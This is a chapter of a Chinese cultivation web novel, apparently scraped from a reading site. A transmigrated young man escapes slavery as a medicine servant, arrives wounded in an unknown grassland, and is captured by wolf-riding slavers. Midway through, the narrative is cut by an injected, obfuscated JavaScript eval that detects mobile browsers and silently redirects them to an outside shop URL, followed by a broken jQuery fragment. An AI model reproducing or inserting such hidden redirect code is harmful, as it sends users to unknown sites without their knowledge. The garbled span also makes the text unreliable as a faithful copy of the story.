天高云淡。
一点黑色突兀出现在半空,空气逐渐扭曲,黑色扩大变成不规则圆形。
这似乎是一个通道,深沉的黑色中偶有银色星屑闪现。
噗——
伴着飞溅的鲜血,一道人影被黑洞吐出。
“咳咳……”
鼻尖嗅到青草的芬芳,魏惜半睁着眼望着上方碧蓝的天空,一边吐血一边发出嘶哑的笑音。
哈哈,他终于逃出来了!
试探地动了动手脚,剧痛让魏惜眼前一黑,身体表面狭长的伤口急切地涌出大汩血液。
他不敢再动,静静的躺在地上。
舌下,一颗拇指大小的绿色圆形晶体散发出股股精纯药力,药力沿着身体脉络游走,流血的伤口、断裂的骨头一点点被抚过。
魏惜原本是生活在蓝星21世纪的大好青年,结果一觉醒来来到了这个名为寰宇界天的异世界,还变成了一个婴儿。
母亲是爬床婢女,不受宠也没背景,本以为可以凭借他的出生改变命运,结果不仅孩子不被承认,自己还被安排住最差的地方,干最累的活。
生活的不顺心催生了无穷的恨意,她对付不了别人,就将一腔恨意挥洒在幼小的魏惜身上。
十岁前他的生活那叫一个水深火热,当然,十岁后也不多承让。
寰枢界天类似于魏惜前世小说里描述的修仙世界,有神奇的力量体系。
这里的人体内会生出兽形态‘契灵’,理解它、融合它、使用它是修炼的本质。
年满10岁的孩童可参与启灵仪式进行觉醒,觉醒时灵光的强弱,代表契灵的等级,它从低到高分为下等、中等、上等、天骄,若在天骄级灵光中出现兽影异相,则被称为传说级,传说级契灵具有唯一性。
魏惜参加启灵仪式后觉醒了传说级契灵——仙灵鹤,看名字就知道不凡吧。
他以为自己终于有点穿越主角待遇,好日子要来了。
结果却被从没见过的便宜爹打包送给药宗长老换资源,这下好了,他从私生子变成了更没人权的药奴,怎一个惨字了得。
仙灵鹤契灵会让魏惜体内生出一种特殊物质,名为仙灵之气,它能够促进灵材生长,还能提升炼制药石的品质,魏惜这个药奴价值可高了。
他每天不仅要伺候那个药宗长老种的灵材,还要被压榨仙灵之气协助炼药,要不是他活着性价比更高,估计还会和其他药奴那样被拿去试药。
凭借着偶然得到的残本阵法图录,魏惜计划了八年,一点点收集材料,实在得不到的就找相似的代替,拼拼凑凑组合了一个不伦不类的随机传送阵。
趁着那药宗长老出门,他找机会启动了阵法。
魏惜这个自学的半吊子,不知者无畏,就这么一头扎进混乱的空间通道。
该说不说他是有点运气在身上的,虽然遇上空间风暴差点死里边,但好歹出来的时候还喘着气。
随手薅的高级灵材在抵御空间风暴时全都被魏惜囫囵使用,他现在全身上下除了破烂的衣裳,就只剩含在舌下的这颗二转治疗药石。
这是魏惜偷师自己炼制的,唯一成功的一颗二转药石。
药石药力耗尽,身上的伤口并未完全愈合,不过好歹止住血了。
魏惜勉强有了些动弹的力气。
“呃……”
全身骨头发出不堪重负的咔嚓声,魏惜手肘撑地坐起身,望着眼前一望无际的草地,他目露茫然。
十岁前他被亲娘磋磨,十岁后在药宗长老手里劳作,这里可没什么义务教育,他对寰枢界天的了解都来自别人偶尔的闲谈和一些闲书。
所以,这是给他整哪儿来了?
魏惜踉踉跄跄爬起来,身下草地被他的血染红了大片,他左右望望,选了个方向离开。
得找找有没有安全的地方养伤,他现在经脉受损,灵海枯竭,身体比寻常凡人还虚弱,随便遇到点什么都可能要他的命。
拖着残破的身体走走停停,周围的景色一成不变,魏惜抬头看了眼明显偏西的太阳。
唉,这什么鬼地方,不知道的还以为鬼打墙了。
又走了一段,魏惜发现了一个小水潭,不足一米的宽度,应该是下雨的积水。
顾不上脏不脏,魏惜扑到水潭边,双手捧着水送进嘴里,干涸的喉咙得到滋养,他喟叹一声,有种活过来的感觉。
借着水的倒影,魏惜看清了自己此时狼狈的模样,呕出的血迹在嘴角、脸颊形成痂,原本一头顺滑的黑长直在空间风暴里滚了一圈,被削的乱七八糟,长一条短一条,堪比杀马特。
长短不一的狭长伤口遍布全身,彰显着凶险。还好当时他护住了脑袋,不然破相事小,开瓢事大。
魏惜洗了洗手,捧着水一点点搓掉脸上的血痂。
这张脸和他前世有七八分相似,而且很年轻,毕竟他这一世才十九岁。
也是老黄瓜刷绿漆,装上嫩了。
魏惜简单清理了一下,虽然他很想把衣服脱下来洗一洗,但显然情况不允许。
他在水潭边找到几株眼熟的药草。
棘蓟草,一种常见的蕴养治疗药草,效果不强,盛在药性温和,常用于炼制治疗药石时中和药性。
魏惜从怀里掏出另几株路上收集的其他药草,混合着棘蓟草简单鞣制一番,得到了三颗深绿的简陋药丸。
没办法,巧妇难为无米之炊,他现在连个药炉都没,只能手搓了。
含了一颗到嘴里,剩下两颗药丸被魏惜小心地放进怀里。
他不舍的看了眼小水潭,继续向前走。
随着太阳的下落,周围温度明显在下降,估计这里晚上会很冷,他得赶紧找个地方避避。
又翻过几个草坡,就着天边昏黄的余晖,魏惜看到了一条长长的车队。
两匹高壮的独角马拖着明黄的马车,一杆绣着黑色狼头的黄旗竖立在车头,其后是三十来辆笼子样的马车,骑着黑狼的人跟随在外侧。
终于瞅见人了!魏惜有些激动,还以为这地方是无人区呢。
他稍稍蹲下,眯着眼打量车队,心里想着该怎么和车队搭上话,问问路或者能搭个顺风车更好。
等等,笼子里装的怎么好像也是人?这是正经车队吗?
魏惜发现不对,半蹲的身体再度下压,但来不及了,车队已经发现了他。
四个骑着黑狼的人脱离车队冲向他,眨眼间,魏惜被团团围住。
这些骑狼的人个个高大得很,穿着半边袖的皮毛袄子,臂膀能有魏惜的腰粗,魏惜站在他们中间被衬得像个小鸡仔。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708702|208381||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他们绕着魏惜打圈,上下打量他,似乎在评估他的价值,几人叽里咕噜说了一通,语速很快还有口音,魏惜只依稀听清“长相”“喜欢”“卖”几个词。
一只手抓起他的衣领,将他甩上狼背。
喂喂喂!你们说清楚啊,什么卖,卖什么啊?!
砰!
木笼门被重重关上,魏惜也算是得偿所愿,坐上了顺风车。
呵呵。
这叫什么事啊,才出虎穴又入狼窝,贼老天你敢不敢对我好一点!
魏惜在心里打了一套王八拳。
“咳咳……”
又吐了两口血,魏惜擦了擦嘴角的血迹,抓着木栏杆爬起来,坐着缓了一会儿,他这才有空打量所处的地方。
粗糙的木笼子,栏杆有他的腿粗,高度则是他身高的两倍,它是车队的尾巴,后面有两个骑狼的人跟着。
和前方几十人挤在一个笼子里的盛况不同,这个笼子里连同魏惜只有两个人。
距离他不远处躺着一个只围着下半身的哥们儿,他瘦削得厉害,仿佛是骨头上包着一层薄薄的皮,及腰的长发乱蓬蓬的遮住他的面容,身上很多伤痕,大多数是陈旧的,比较新鲜的是几道鞭痕。
嘶,这哥们儿好像比他还惨。
魏惜吸了口冷气。
瞥了眼后方,那两个骑狼人没在关注他,魏惜慢慢挪动屁股,来到半裸哥们儿旁边,伸手戳了戳,“喂,你还好吗?”
完全没反应。
要不是看到他胸前微弱的起伏,魏惜都以为这人已经死了。
唉,看来指望从这同笼的“室友”身上了解情况是做不到了。
魏惜收手靠坐回去。
天渐渐暗下去,温度越来越低,魏惜抱紧自己,牙齿不受控制地打颤。
好在这时车队停了下来,没再赶路。
这是个背风坡,三十来辆木笼被驱赶到一起,围成一个圈。
打头那辆豪华马车上下来两个身姿曼妙的美貌女子,她们在升起的火堆边煮肉汤,香味随风飘来,和着周边笼子里的屎尿味,混合成独特的风味,魏惜又饿又恶心,脸色不由变得铁青。
周围木笼里的人被香味唤醒,一时间嘈杂声起。
“杂碎们,都安分点!”
几个骑狼的人从旁边路过,甩手抽出几鞭子。
啪!啪!
鞭子击打在木笼外发出示威的尖锐闷响。
笼子里的人瞬间噤若寒蝉。
距离木笼十几步远的地方也升起一个火堆,是那些看守魏惜他们的骑狼人。
他们从黑狼身上下来,寻常马匹高的黑狼化作流光融入脐上灵海,原来这些黑狼是契灵。
契灵能实体存在,说明这些人起码是融灵境灵士。
1、2、3……10!
魏惜眼前一黑,就算他没受伤,也只是个启灵境初期的灵士,何德何能被十位融灵境包围。
契灵修炼共有九大境界,从低到高为唤灵、启灵、融灵、合灵、铸灵、蕴灵、控灵、证灵、成道,各个境界以初、中、后期和圆满境区分。
别看融灵境才第三境,一般人碌碌半生也到不了这个层次,一位融灵境撑起一个家族可不是玩笑话。
什么队伍啊,搞这么高端的配置?